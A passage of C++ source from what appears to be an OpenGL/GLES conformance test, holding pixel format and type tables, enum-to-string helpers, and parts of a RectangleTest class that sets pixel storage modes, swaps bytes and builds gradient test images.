GL_UNSIGNED_SHORT_5_5_5_1, 4, true }, { GL_RGBA_INTEGER, GL_RGBA_INTEGER, GL_UNSIGNED_SHORT_5_5_5_1, 4, true }, { GL_BGRA_INTEGER, GL_BGRA_INTEGER, GL_UNSIGNED_SHORT_5_5_5_1, 4, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_SHORT_1_5_5_5_REV, 4, true }, { GL_BGRA, GL_BGRA, GL_UNSIGNED_SHORT_1_5_5_5_REV, 4, true }, { GL_RGBA_INTEGER, GL_RGBA_INTEGER, GL_UNSIGNED_SHORT_1_5_5_5_REV, 4, true }, { GL_BGRA_INTEGER, GL_BGRA_INTEGER, GL_UNSIGNED_SHORT_1_5_5_5_REV, 4, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_INT_8_8_8_8, 4, true }, { GL_BGRA, GL_BGRA, GL_UNSIGNED_INT_8_8_8_8, 4, true }, { GL_RGBA_INTEGER, GL_RGBA_INTEGER, GL_UNSIGNED_INT_8_8_8_8, 4, true }, { GL_BGRA_INTEGER, GL_BGRA_INTEGER, GL_UNSIGNED_INT_8_8_8_8, 4, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_INT_8_8_8_8_REV, 4, true }, { GL_BGRA, GL_BGRA, GL_UNSIGNED_INT_8_8_8_8_REV, 4, true }, { GL_RGBA_INTEGER, GL_RGBA_INTEGER, GL_UNSIGNED_INT_8_8_8_8_REV, 4, true }, { GL_BGRA_INTEGER, GL_BGRA_INTEGER, GL_UNSIGNED_INT_8_8_8_8_REV, 4, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_INT_10_10_10_2, 4, true }, { GL_BGRA, GL_BGRA, GL_UNSIGNED_INT_10_10_10_2, 4, true }, { GL_RGBA_INTEGER, GL_RGBA_INTEGER, GL_UNSIGNED_INT_10_10_10_2, 4, true }, { GL_BGRA_INTEGER, GL_BGRA_INTEGER, GL_UNSIGNED_INT_10_10_10_2, 4, true }, { GL_RGBA, GL_RGBA, GL_UNSIGNED_INT_2_10_10_10_REV, 4, true }, { GL_BGRA, GL_BGRA, GL_UNSIGNED_INT_2_10_10_10_REV, 4, true }, { GL_RGBA_INTEGER, GL_RGBA_INTEGER, GL_UNSIGNED_INT_2_10_10_10_REV, 4, true }, { GL_BGRA_INTEGER, GL_BGRA_INTEGER, GL_UNSIGNED_INT_2_10_10_10_REV, 4, true }, { GL_DEPTH_STENCIL, GL_DEPTH_STENCIL, GL_UNSIGNED_INT_24_8, 2, true }, { GL_RGB, GL_RGB, GL_UNSIGNED_INT_10F_11F_11F_REV, 3, true }, { GL_RGB, GL_RGB, GL_UNSIGNED_INT_5_9_9_9_REV, 4, true }, { GL_DEPTH_STENCIL, GL_DEPTH_STENCIL, GL_FLOAT_32_UNSIGNED_INT_24_8_REV, 2, true }, }; static const EnumFormats validformats_EXT_texture_type_2_10_10_10_REV[] = { { GL_RGBA, GL_RGBA, GL_UNSIGNED_INT_2_10_10_10_REV_EXT, 4, false }, { GL_RGB, GL_RGB, GL_UNSIGNED_INT_2_10_10_10_REV_EXT, 3, false } }; // Valid combinations given by GL_EXT_texture_type_2_10_10_10_REV and // GL_OES_required_internalformat extensions static const EnumFormats validformats_OES_required_internalformat[] = { { GL_RGB8_OES, GL_RGB, GL_UNSIGNED_INT_2_10_10_10_REV_EXT, 3, true }, { GL_RGB565, GL_RGB, GL_UNSIGNED_INT_2_10_10_10_REV_EXT, 4, true } }; // Companion type for GL_FLOAT_32_UNSIGNED_INT_24_8_REV. Stencil part was // not split into 24/8 to avoid any packing related issues from compiler. struct F_32_UINT_24_8_REV { GLfloat d; GLuint s; }; // custom pixel data type. holds both float and integer pixel data. memory consuming, but // it is not that relavant in this case. makes comparing more reliable and flexible struct FloatPixel { int i_r; int i_g; int i_b; int i_a; int i_d; int i_s; unsigned int ui_r; unsigned int ui_g; unsigned int ui_b; unsigned int ui_a; unsigned int ui_d; unsigned int ui_s; float r; float g; float b; float a; float d; float s; }; static const int NUM_FLOAT_PIXEL_COUNT = sizeof(FloatPixel) / sizeof(float); typedef int rawIntPixel[4]; typedef unsigned int rawUintPixel[4]; typedef float rawFloatPixel[4]; struct PackedPixelsBufferProperties { int elementsInGroup; // number of elements in a group int rowLength; // number of groups in the row int alignment; // alignment (in bytes) int elementSize; // size of an element (in bytes) int elementsInRow; // row size (in elements) int elementsInRowNoAlign; // row size (in elements) without alignment int rowCount; // number of rows in 2D image int imagesCount; // number of 2D images in 3D image int skipPixels; // (UN)PACK_SKIP_PIXELS int skipRows; // (UN)PACK_SKIP_ROWS int skipImages; // (UN)PACK_SKIP_IMAGES int swapBytes; int lsbFirst; }; std::string getTypeStr(GLenum type) { // this function extends glu::getTypeStr by types used in this tests typedef std::map<GLenum, std::string> TypeMap; static TypeMap typeMap; if (typeMap.empty()) { typeMap[GL_UNSIGNED_BYTE_3_3_2] = "GL_UNSIGNED_BYTE_3_3_2"; typeMap[GL_UNSIGNED_BYTE_2_3_3_REV] = "GL_UNSIGNED_BYTE_2_3_3_REV"; typeMap[GL_UNSIGNED_SHORT_5_6_5_REV] = "GL_UNSIGNED_SHORT_5_6_5_REV"; typeMap[GL_UNSIGNED_SHORT_4_4_4_4_REV] = "GL_UNSIGNED_SHORT_4_4_4_4_REV"; typeMap[GL_UNSIGNED_SHORT_1_5_5_5_REV] = "GL_UNSIGNED_SHORT_1_5_5_5_REV"; typeMap[GL_UNSIGNED_INT_8_8_8_8] = "GL_UNSIGNED_INT_8_8_8_8"; typeMap[GL_UNSIGNED_INT_8_8_8_8_REV] = "GL_UNSIGNED_INT_8_8_8_8_REV"; typeMap[GL_UNSIGNED_INT_10_10_10_2] = "GL_UNSIGNED_INT_10_10_10_2"; } TypeMap::iterator it = typeMap.find(type); if (it == typeMap.end()) { // if type is not in map use glu function return glu::getTypeStr(type).toString(); } return it->second; } std::string getFormatStr(GLenum format) { // this function extends glu::getTextureFormatStr by types used in this tests typedef std::map<GLenum, std::string> FormatMap; static FormatMap formatMap; if (formatMap.empty()) { formatMap[GL_GREEN] = "GL_GREEN"; formatMap[GL_BLUE] = "GL_BLUE"; formatMap[GL_GREEN_INTEGER] = "GL_GREEN_INTEGER"; formatMap[GL_BLUE_INTEGER] = "GL_BLUE_INTEGER"; formatMap[GL_BGR] = "GL_BGR"; formatMap[GL_BGR_INTEGER] = "GL_BGR_INTEGER"; formatMap[GL_BGRA_INTEGER] = "GL_BGRA_INTEGER"; formatMap[GL_R3_G3_B2] = "GL_R3_G3_B2"; formatMap[GL_RGB4] = "GL_RGB4"; formatMap[GL_RGB5] = "GL_RGB5"; formatMap[GL_RGB12] = "GL_RGB12"; formatMap[GL_RGBA2] = "GL_RGBA2"; formatMap[GL_RGBA12] = "GL_RGBA12"; formatMap[GL_COMPRESSED_RED] = "GL_COMPRESSED_RED"; formatMap[GL_COMPRESSED_RG] = "GL_COMPRESSED_RG"; formatMap[GL_COMPRESSED_RGB] = "GL_COMPRESSED_RGB"; formatMap[GL_COMPRESSED_RGBA] = "GL_COMPRESSED_RGBA"; formatMap[GL_COMPRESSED_SRGB] = "GL_COMPRESSED_SRGB"; formatMap[GL_COMPRESSED_SRGB_ALPHA] = "GL_COMPRESSED_SRGB_ALPHA"; formatMap[GL_COMPRESSED_RED_RGTC1] = "GL_COMPRESSED_RED_RGTC1"; formatMap[GL_COMPRESSED_SIGNED_RED_RGTC1] = "GL_COMPRESSED_SIGNED_RED_RGTC1"; formatMap[GL_COMPRESSED_RG_RGTC2] = "GL_COMPRESSED_RG_RGTC2"; formatMap[GL_COMPRESSED_SIGNED_RG_RGTC2] = "GL_COMPRESSED_SIGNED_RG_RGTC2"; formatMap[GL_STENCIL_INDEX] = "GL_STENCIL_INDEX"; } FormatMap::iterator it = formatMap.find(format); if (it == formatMap.end()) { // if format is not in map use glu function return glu::getTextureFormatStr(format).toString(); } return it->second; } std::string getModeStr(GLenum type) { typedef std::map<GLenum, std::string> ModeMap; static ModeMap modeMap; if (modeMap.empty()) { modeMap[GL_UNPACK_ROW_LENGTH] = "GL_UNPACK_ROW_LENGTH"; modeMap[GL_UNPACK_SKIP_ROWS] = "GL_UNPACK_SKIP_ROWS"; modeMap[GL_UNPACK_SKIP_PIXELS] = "GL_UNPACK_SKIP_PIXELS"; modeMap[GL_UNPACK_ALIGNMENT] = "GL_UNPACK_ALIGNMENT"; modeMap[GL_UNPACK_IMAGE_HEIGHT] = "GL_UNPACK_IMAGE_HEIGHT"; modeMap[GL_UNPACK_SKIP_IMAGES] = "GL_UNPACK_SKIP_IMAGES"; modeMap[GL_PACK_ROW_LENGTH] = "GL_PACK_ROW_LENGTH"; modeMap[GL_PACK_SKIP_ROWS] = "GL_PACK_SKIP_ROWS"; modeMap[GL_PACK_SKIP_PIXELS] = "GL_PACK_SKIP_PIXELS"; modeMap[GL_PACK_ALIGNMENT] = "GL_PACK_ALIGNMENT"; modeMap[GL_UNPACK_SWAP_BYTES] = "GL_UNPACK_SWAP_BYTES"; modeMap[GL_UNPACK_LSB_FIRST] = "GL_UNPACK_LSB_FIRST"; modeMap[GL_PACK_SWAP_BYTES] = "GL_PACK_SWAP_BYTES"; modeMap[GL_PACK_LSB_FIRST] = "GL_PACK_LSB_FIRST"; modeMap[GL_PACK_IMAGE_HEIGHT] = "GL_PACK_IMAGE_HEIGHT"; modeMap[GL_PACK_SKIP_IMAGES] = "GL_PACK_SKIP_IMAGES"; } ModeMap::iterator it = modeMap.find(type); if (it == modeMap.end()) TCU_FAIL("Unknown mode name"); return it->second; } class RectangleTest : public deqp::TestCase { public: RectangleTest(deqp::Context& context, std::string& name, InternalFormat internalFormat); virtual ~RectangleTest(); void resetInitialStorageModes(); void applyInitialStorageModes(); void testAllFormatsAndTypes(); virtual tcu::TestNode::IterateResult iterate(void); protected: void createGradient(); void swapBytes(int typeSize, std::vector<GLbyte>& dataBuffer); template <typename Type> void makeGradient(Type (*unpack)(float)); template <typename Type> static Type unpackSizedComponents(float value, int s1, int s2, int s3, int s4); template <typename Type> static Type unpackSizedComponentsRev(float value, int s1, int s2, int s3, int s4); static GLubyte unpack_UNSIGNED_BYTE(float value); static GLbyte unpack_BYTE(float value); static GLushort unpack_UNSIGNED_SHORT(float value); static GLshort unpack_SHORT(float value); static GLuint unpack_UNSIGNED_INT(float value); static GLint unpack_INT(float value); static GLhalf unpack_HALF_FLOAT(float value); static GLfloat unpack_FLOAT(float value); static GLubyte unpack_UNSIGNED_BYTE_3_3_2(float value); static GLubyte unpack_UNSIGNED_BYTE_2_3_3_REV(float value); static GLushort unpack_UNSIGNED_SHORT_5_6_5_REV(float value); static GLushort unpack_UNSIGNED_SHORT_4_4_4_4_REV(float value); static GLushort unpack_UNSIGNED_SHORT_1_5_5_5_REV(float value); static GLuint unpack_UNSIGNED_INT_8_8_8_8(float value); static GLuint unpack_UNSIGNED_INT_8_8_8_8_REV(float value); static GLuint unpack_UNSIGNED_INT_10_10_10_2(float value); static GLushort unpack_UNSIGNED_SHORT_5_6_5(float value); static GLushort unpack_UNSIGNED_SHORT_4_4_4_4(float value); static GLushort unpack_UNSIGNED_SHORT_5_5_5_1(float value); static GLuint unpack_UNSIGNED_INT_2_10_10_10_REV(float value); static GLuint unpack_UNSIGNED_INT_24_8(float value); static GLuint unpack_UNSIGNED_INT_5_9_9_9_REV(float value); static GLuint unpack_UNSIGNED_INT_10F_11F_11F_REV(float value); static F_32_UINT_24_8_REV unpack_FLOAT_32_UNSIGNED_INT_24_8_REV(float value); bool isFormatValid(const PixelFormat& format, const PixelType& type, const struct InternalFormat& internalformat, bool checkInput, bool checkOutput, int operation) const; bool isUnsizedFormat(GLenum format) const; bool isSRGBFormat(const InternalFormat& internalFormat) const; bool isSNORMFormat(const InternalFormat& internalFormat) const; bool isCopyValid(const InternalFormat& copyInternalFormat, const InternalFormat& internalFormat) const; bool isFBOImageAttachValid(const InternalFormat& internalformat, GLenum format, GLenum type) const; const PixelFormat& getPixelFormat(GLenum format) const; const PixelType& getPixelType(GLenum type) const; const EnumFormats* getCanonicalFormat(const InternalFormat& internalformat, GLenum format, GLenum type) const; InternalFormatSamplerType getSampler(const PixelType& type, const PixelFormat& format) const; GLenum readOutputData(const PixelFormat& outputFormat, const PixelType& outputType, int operation); bool doCopy(); bool doCopyInner(); bool compare(GLvoid* gradient, GLvoid* data, const PixelFormat& outputFormat, const PixelType& outputType, bool isCopy) const; void getFloatBuffer(GLvoid* gradient, int samplerIsIntUintFloat, const PixelFormat& format, const PixelType& type, int elementCount, std::vector<FloatPixel>& result) const; void getBits(const PixelType& type, const PixelFormat& format, std::vector<int>& resultTable) const; template <typename Type> void makeBuffer(const GLvoid* gradient, const PixelFormat& format, int samplerIsIntUintFloat, int elementCount, int componentCount, float (*pack)(Type), std::vector<FloatPixel>& result) const; template <typename Type> void makeBufferPackedInt(const GLvoid* gradient, const PixelFormat& format, int elementCount, void (*pack)(rawIntPixel*, Type), std::vector<FloatPixel>& result) const; template <typename Type> void makeBufferPackedUint(const GLvoid* gradient, const PixelFormat& format, int elementCount, void (*pack)(rawUintPixel*, Type), std::vector<FloatPixel>& result) const; template <typename Type> void makeBufferPackedFloat(const GLvoid* gradient, const PixelFormat& format, int elementCount, void (*pack)(rawFloatPixel*, Type), std::vector<FloatPixel>& result) const; FloatPixel orderComponentsInt(rawIntPixel values, const PixelFormat& format) const; FloatPixel orderComponentsUint(rawUintPixel values, const PixelFormat& format) const; FloatPixel orderComponentsFloat(rawFloatPixel values, const PixelFormat& format) const; unsigned int getRealBitPrecision(int bits, bool isFloat) const; bool stripBuffer(const PackedPixelsBufferProperties& props, const GLubyte* orginalBuffer, std::vector<GLubyte>& newBuffer, bool validate) const; int clampSignedValue(int bits, int value) const; unsigned int clampUnsignedValue(int bits, unsigned int value) const; static float pack_UNSIGNED_BYTE(GLubyte value); static float pack_BYTE(GLbyte value); static float pack_UNSIGNED_SHORT(GLushort value); static float pack_SHORT(GLshort value); static float pack_UNSIGNED_INT(GLuint value); static float pack_INT(GLint value); static float pack_HALF_FLOAT(GLhalf value); static float pack_FLOAT(GLfloat value); static void pack_UNSIGNED_BYTE_3_3_2(rawFloatPixel* values, GLubyte value); static void pack_UNSIGNED_BYTE_3_3_2_UINT(rawUintPixel* values, GLubyte value); static void pack_UNSIGNED_BYTE_3_3_2_INT(rawIntPixel* values, GLubyte value); static void pack_UNSIGNED_BYTE_2_3_3_REV(rawFloatPixel* values, GLubyte value); static void pack_UNSIGNED_BYTE_2_3_3_REV_UINT(rawUintPixel* values, GLubyte value); static void pack_UNSIGNED_BYTE_2_3_3_REV_INT(rawIntPixel* values, GLubyte value); static void pack_UNSIGNED_SHORT_5_6_5(rawFloatPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_5_6_5_UINT(rawUintPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_5_6_5_INT(rawIntPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_5_6_5_REV(rawFloatPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_5_6_5_REV_UINT(rawUintPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_5_6_5_REV_INT(rawIntPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_4_4_4_4(rawFloatPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_4_4_4_4_UINT(rawUintPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_4_4_4_4_INT(rawIntPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_4_4_4_4_REV(rawFloatPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_4_4_4_4_REV_UINT(rawUintPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_4_4_4_4_REV_INT(rawIntPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_5_5_5_1(rawFloatPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_5_5_5_1_UINT(rawUintPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_5_5_5_1_INT(rawIntPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_1_5_5_5_REV(rawFloatPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_1_5_5_5_REV_UINT(rawUintPixel* values, GLushort value); static void pack_UNSIGNED_SHORT_1_5_5_5_REV_INT(rawIntPixel* values, GLushort value); static void pack_UNSIGNED_INT_8_8_8_8(rawFloatPixel* values, GLuint value); static void pack_UNSIGNED_INT_8_8_8_8_UINT(rawUintPixel* values, GLuint value); static void pack_UNSIGNED_INT_8_8_8_8_INT(rawIntPixel* values, GLuint value); static void pack_UNSIGNED_INT_8_8_8_8_REV(rawFloatPixel* values, GLuint value); static void pack_UNSIGNED_INT_8_8_8_8_REV_UINT(rawUintPixel* values, GLuint value); static void pack_UNSIGNED_INT_8_8_8_8_REV_INT(rawIntPixel* values, GLuint value); static void pack_UNSIGNED_INT_10_10_10_2(rawFloatPixel* values, GLuint value); static void pack_UNSIGNED_INT_10_10_10_2_UINT(rawUintPixel* values, GLuint value); static void pack_UNSIGNED_INT_10_10_10_2_INT(rawIntPixel* values, GLuint value); static void pack_UNSIGNED_INT_2_10_10_10_REV(rawFloatPixel* values, GLuint value); static void pack_UNSIGNED_INT_2_10_10_10_REV_UINT(rawUintPixel* values, GLuint value); static void pack_UNSIGNED_INT_2_10_10_10_REV_INT(rawIntPixel* values, GLuint value); static void pack_UNSIGNED_INT_24_8(rawFloatPixel* values, GLuint value); static void pack_UNSIGNED_INT_10F_11F_11F_REV(rawFloatPixel* values, GLuint value); static void pack_UNSIGNED_INT_5_9_9_9_REV(rawFloatPixel* values, GLuint value); static void pack_FLOAT_32_UNSIGNED_INT_24_8_REV(rawFloatPixel* values, F_32_UINT_24_8_REV value); bool getTexImage(); bool getTexImageInner(const PixelFormat& outputFormat, const PixelType& outputType); bool doRead(GLuint texture); bool readPixels(bool isCopy); bool readPixelsInner(const PixelFormat& outputFormat, const PixelType& outputType, bool isCopy); protected: const InternalFormat m_internalFormat; bool m_usePBO; GLenum m_textureTarget; PackedPixelsBufferProperties m_initialPackProperties; PackedPixelsBufferProperties m_initialUnpackProperties; std::vector<GLbyte> m_gradient; const GLubyte m_defaultFillValue; public: // debuf counters static int m_countReadPixels; static int m_countReadPixelsOK; static int m_countGetTexImage; static int m_countGetTexImageOK; static int m_countCompare; static int m_countCompareOK; private: // those attribute change multiple times during test execution PixelFormat m_inputFormat; PixelType m_inputType; InternalFormat m_copyInternalFormat; PackedPixelsBufferProperties m_packProperties; PackedPixelsBufferProperties m_unpackProperties; std::vector<GLbyte> m_outputBuffer; }; int RectangleTest::m_countReadPixels = 0; int RectangleTest::m_countReadPixelsOK = 0; int RectangleTest::m_countGetTexImage = 0; int RectangleTest::m_countGetTexImageOK = 0; int RectangleTest::m_countCompare = 0; int RectangleTest::m_countCompareOK = 0; RectangleTest::RectangleTest(deqp::Context& context, std::string& name, InternalFormat internalFormat) : deqp::TestCase(context, name.c_str(), "") , m_internalFormat(internalFormat) , m_usePBO(false) , m_textureTarget(GL_TEXTURE_2D) , m_defaultFillValue(0xaa) { } RectangleTest::~RectangleTest() { } void RectangleTest::resetInitialStorageModes() { m_initialPackProperties.skipPixels = 0; m_initialPackProperties.skipRows = 0; m_initialPackProperties.rowLength = 0; m_initialPackProperties.alignment = 4; m_initialPackProperties.rowCount = 0; m_initialPackProperties.skipImages = 0; m_initialPackProperties.lsbFirst = 0; m_initialPackProperties.swapBytes = 0; m_initialUnpackProperties.skipPixels = 0; m_initialUnpackProperties.skipRows = 0; m_initialUnpackProperties.rowLength = 0; m_initialUnpackProperties.alignment = 4; m_initialUnpackProperties.rowCount = 0; m_initialUnpackProperties.skipImages = 0; m_initialUnpackProperties.lsbFirst = 0; m_initialUnpackProperties.swapBytes = 0; } void RectangleTest::applyInitialStorageModes() { glu::RenderContext& renderContext = m_context.getRenderContext(); const Functions& gl = renderContext.getFunctions(); PackedPixelsBufferProperties& up = m_initialUnpackProperties; PackedPixelsBufferProperties& pp = m_initialPackProperties; m_unpackProperties = up; m_packProperties = pp; gl.pixelStorei(GL_PACK_ROW_LENGTH, pp.rowLength); gl.pixelStorei(GL_PACK_SKIP_ROWS, pp.skipRows); gl.pixelStorei(GL_PACK_SKIP_PIXELS, pp.skipPixels); gl.pixelStorei(GL_PACK_ALIGNMENT, pp.alignment); gl.pixelStorei(GL_UNPACK_ROW_LENGTH, up.rowLength); gl.pixelStorei(GL_UNPACK_SKIP_ROWS, up.skipRows); gl.pixelStorei(GL_UNPACK_SKIP_PIXELS, up.skipPixels); gl.pixelStorei(GL_UNPACK_ALIGNMENT, up.alignment); gl.pixelStorei(GL_UNPACK_IMAGE_HEIGHT, up.rowCount); gl.pixelStorei(GL_UNPACK_SKIP_IMAGES, up.skipImages); if (!isContextTypeES(renderContext.getType())) { gl.pixelStorei(GL_PACK_IMAGE_HEIGHT, pp.rowCount); gl.pixelStorei(GL_PACK_SKIP_IMAGES, pp.skipImages); gl.pixelStorei(GL_PACK_SWAP_BYTES, pp.swapBytes); gl.pixelStorei(GL_PACK_LSB_FIRST, pp.lsbFirst); gl.pixelStorei(GL_UNPACK_SWAP_BYTES, up.swapBytes); gl.pixelStorei(GL_UNPACK_LSB_FIRST, up.lsbFirst); } } void RectangleTest::swapBytes(int typeSize, std::vector<GLbyte>& dataBuffer) { int bufferSize = static_cast<int>(dataBuffer.size()); switch (typeSize) { case 1: break; // no swapping case 2: { GLushort* data = reinterpret_cast<GLushort*>(&dataBuffer[0]); for (int i = 0; i < bufferSize / 2; i++) { GLushort v = data[i]; data[i] = ((v & 0xff) << 8) + ((v & 0xff00) >> 8); } break; } case 4: case 8: // typeSize is 2 x 32bit, behaves the same this time { GLuint* data = reinterpret_cast<GLuint*>(&dataBuffer[0]); for (int i = 0; i < bufferSize / 4; i++) { GLuint v = data[i]; data[i] = ((v & 0xff) << 24) + ((v & 0xff00) << 8) + ((v & 0xff0000) >> 8) + ((v & 0xff000000) >> 24); } break; } default: TCU_FAIL("Invalid size for swapBytes"); } } const PixelFormat& RectangleTest::getPixelFormat(GLenum format) const { const PixelFormat* formats; int formatsCount; if (glu::isContextTypeES(m_context.getRenderContext().getType())) { formats = esFormats; formatsCount = DE_LENGTH_OF_ARRAY(esFormats); } else { formats = coreFormats; formatsCount = DE_LENGTH_OF_ARRAY(coreFormats); } // Look up pixel format from a GL enum for (int i = 0; i < formatsCount; i++) { if (formats[i].format == format) return formats[i]; } TCU_FAIL("Unsuported format."); return formats[0]; } const PixelType& RectangleTest::getPixelType(GLenum type) const { const PixelType* types; int typesCount; if (glu::isContextTypeES(m_context.getRenderContext().getType())) { types = esTypes; typesCount = DE_LENGTH_OF_ARRAY(esTypes); } else { types = coreTypes; typesCount = DE_LENGTH_OF_ARRAY(coreTypes); } for (int i = 0; i < typesCount; i++) { if (types[i].type == type) return types[i]; } TCU_FAIL("Unsuported type."); return types[0]; } const EnumFormats* RectangleTest::getCanonicalFormat(const InternalFormat& internalformat, GLenum format, GLenum type) const { // function returns a canonical format from internal format. for example // GL_RGBA16F => { GL_RGBA, GL_FLOAT }; used mostly for GLES tests if (glu::isContextTypeES(m_context.getRenderContext().getType())) { for (int i = 0; i < DE_LENGTH_OF_ARRAY(esValidFormats); ++i) { if ((esValidFormats[i].internalformat == internalformat.sizedFormat) && (esValidFormats[i].format == format) && (esValidFormats[i].type == type)) { return &(esValidFormats[i]); } } const glu::ContextInfo& contextInfo = m_context.getContextInfo(); if (contextInfo.isExtensionSupported("GL_EXT_texture_type_2_10_10_10_REV")) { for (int i = 0; i < DE_LENGTH_OF_ARRAY(validformats_EXT_texture_type_2_10_10_10_REV); ++i) { if (validformats_EXT_texture_type_2_10_10_10_REV[i].internalformat == internalformat.sizedFormat && validformats_EXT_texture_type_2_10_10_10_REV[i].format == format && validformats_EXT_texture_type_2_10_10_10_REV[i].type == type) { return &(validformats_EXT_texture_type_2_10_10_10_REV[i]); } } if (contextInfo.isExtensionSupported("GL_OES_required_internalformat")) { for (int i = 0; i < DE_LENGTH_OF_ARRAY(validformats_OES_required_internalformat); ++i) { if (validformats_OES_required_internalformat[i].internalformat == internalformat.sizedFormat && validformats_OES_required_internalformat[i].format == format && validformats_OES_required_internalformat[i].type == type) { return &(validformats_OES_required_internalformat[i]); } } } } } else { for (int i = 0; i < DE_LENGTH_OF_ARRAY(coreValidFormats); ++i) { if ((coreValidFormats[i].internalformat == internalformat.sizedFormat) && (coreValidFormats[i].format == format) && (coreValidFormats[i].type == type)) { return &(coreValidFormats[i]); } } } return 0; } InternalFormatSamplerType RectangleTest::getSampler(const PixelType& type, const PixelFormat& format) const { switch (type.storage) { case STORAGE_FLOAT: return SAMPLER_FLOAT; case STORAGE_UNSIGNED: if ((format.componentFormat == FORMAT_COLOR_INTEGER) || (format.componentFormat == FORMAT_STENCIL)) return SAMPLER_UINT; return SAMPLER_UNORM; case STORAGE_SIGNED: if (format.componentFormat == FORMAT_COLOR_INTEGER) return SAMPLER_INT; return SAMPLER_NORM; default: TCU_FAIL("Invalid storage specifier"); } } void RectangleTest::createGradient() { switch (m_inputType.type) { case GL_UNSIGNED_BYTE: makeGradient(unpack_UNSIGNED_BYTE); break; case GL_BYTE: makeGradient<GLbyte>(unpack_BYTE); break; case GL_UNSIGNED_SHORT: makeGradient<GLushort>(unpack_UNSIGNED_SHORT); break; case GL_SHORT: makeGradient<GLshort>(unpack_SHORT); break; case GL_UNSIGNED_INT: makeGradient<GLuint>(unpack_UNSIGNED_INT); break; case GL_INT: makeGradient<GLint>(unpack_INT); break; case GL_HALF_FLOAT: makeGradient<GLhalf>(unpack_HALF_FLOAT); break; case GL_FLOAT: makeGradient<GLfloat>(unpack_FLOAT); break; case GL_UNSIGNED_SHORT_5_6_5: makeGradient<GLushort>(unpack_UNSIGNED_SHORT_5_6_5); break; case GL_UNSIGNED_SHORT_4_4_4_4: makeGradient<GLushort>(unpack_UNSIGNED_SHORT_4_4_4_4); break; case GL_UNSIGNED_SHORT_5_5_5_1: makeGradient<GLushort>(unpack_UNSIGNED_SHORT_5_5_5_1); break; case GL_UNSIGNED_INT_2_10_10_10_REV: makeGradient<GLuint>(unpack_UNSIGNED_INT_2_10_10_10_REV); break; case GL_UNSIGNED_INT_24_8: makeGradient<GLuint>(unpack_UNSIGNED_INT_24_8); break; case GL_UNSIGNED_INT_10F_11F_11F_REV: makeGradient<GLuint>(unpack_UNSIGNED_INT_10F_11F_11F_REV); break; case GL_UNSIGNED_INT_5_9_9_9_REV: makeGradient<GLuint>(unpack_UNSIGNED_INT_5_9_9_9_REV); break; case GL_FLOAT_32_UNSIGNED_INT_24_8_REV: makeGradient<F_32_UINT_24_8_REV>(unpack_FLOAT_32_UNSIGNED_INT_24_8_REV); break; case GL_UNSIGNED_BYTE_3_3_2: makeGradient<GLubyte>(unpack_UNSIGNED_BYTE_3_3_2); break; case GL_UNSIGNED_BYTE_2_3_3_REV: makeGradient<GLubyte>(unpack_UNSIGNED_BYTE_2_3_3_REV); break; case GL_UNSIGNED_SHORT_5_6_5_REV: makeGradient<GLushort>(unpack_UNSIGNED_SHORT_5_6_5_REV); break; case GL_UNSIGNED_SHORT_4_4_4_4_REV: makeGradient<GLushort>(unpack_UNSIGNED_SHORT_4_4_4_4_REV); break; case GL_UNSIGNED_SHORT_1_5_5_5_REV: makeGradient<GLushort>(unpack_UNSIGNED_SHORT_1_5_5_5_REV); break; case GL_UNSIGNED_INT_8_8_8_8: makeGradient<GLuint>(unpack_UNSIGNED_INT_8_8_8_8); break; case GL_UNSIGNED_INT_8_8_8_8_REV: makeGradient<GLuint>(unpack_UNSIGNED_INT_8_8_8_8_REV); break; case GL_UNSIGNED_INT_10_10_10_2: makeGradient<GLuint>(unpack_UNSIGNED_INT_10_10_10_2); break; default: TCU_FAIL("Unsupported type"); }; } template <typename Type> void RectangleTest::makeGradient(Type (*unpack)(float)) { // number of elements in a group int elementsInGroup = m_inputFormat.components; if (m_inputType.special) elementsInGroup = 1; int rowCount = m_unpackProperties.rowCount; if (rowCount == 0) rowCount = GRADIENT_HEIGHT + m_unpackProperties.skipRows; // number of groups in the row int rowLength = m_unpackProperties.rowLength; if (rowLength == 0) rowLength = GRADIENT_WIDTH + m_unpackProperties.skipPixels; int elementSize = m_inputType.size; // row size (in elements) int elementsInRowNoAlign = elementsInGroup * rowLength; int elementsInRow = elementsInRowNoAlign; if (elementSize < m_unpackProperties.alignment) { int alignment = m_unpackProperties.alignment; elementsInRow = (int)(alignment * deFloatCeil(elementSize * elementsInGroup * rowLength / ((float)alignment))) / elementSize; } if (m_textureTarget == GL_TEXTURE_2D) m_unpackProperties.skipImages = 0; // "depth" will be 1 + skipped image layers. // We still want to work on a 2D-ish image later. int depth = 1 + m_unpackProperties.skipImages; m_unpackProperties.elementsInGroup = elementsInGroup; m_unpackProperties.rowCount = rowCount; m_unpackProperties.rowLength = rowLength; m_unpackProperties.elementSize = elementSize; m_unpackProperties.elementsInRowNoAlign = elementsInRowNoAlign; m_unpackProperties.elementsInRow = elementsInRow; m_unpackProperties.imagesCount = depth; // element size * elements in row * number of rows * number of 2d images std::size_t bufferSize = elementSize * elementsInRow * rowCount * depth; m_gradient.resize(bufferSize); Type* data = reinterpret_cast<Type*>(&m_gradient[0]); std::size_t dataToSkip = m_unpackProperties.skipImages * rowCount * elementsInRow; std::size_t index = dataToSkip; const Type defaultValue = unpack(0.5f); std::fill(data, data + dataToSkip, defaultValue); for (int k = 0; k < depth; k++) { for (int j = 0; j < rowCount; j++) { for (int i = 0; i < elementsInRow; i++) { int x = i / elementsInGroup; if ((k == depth - 1) && (m_unpackProperties.skipRows <= j) && (j < m_unpackProperties.skipRows + GRADIENT_HEIGHT) && (m_unpackProperties.skipPixels <= x) && (x < 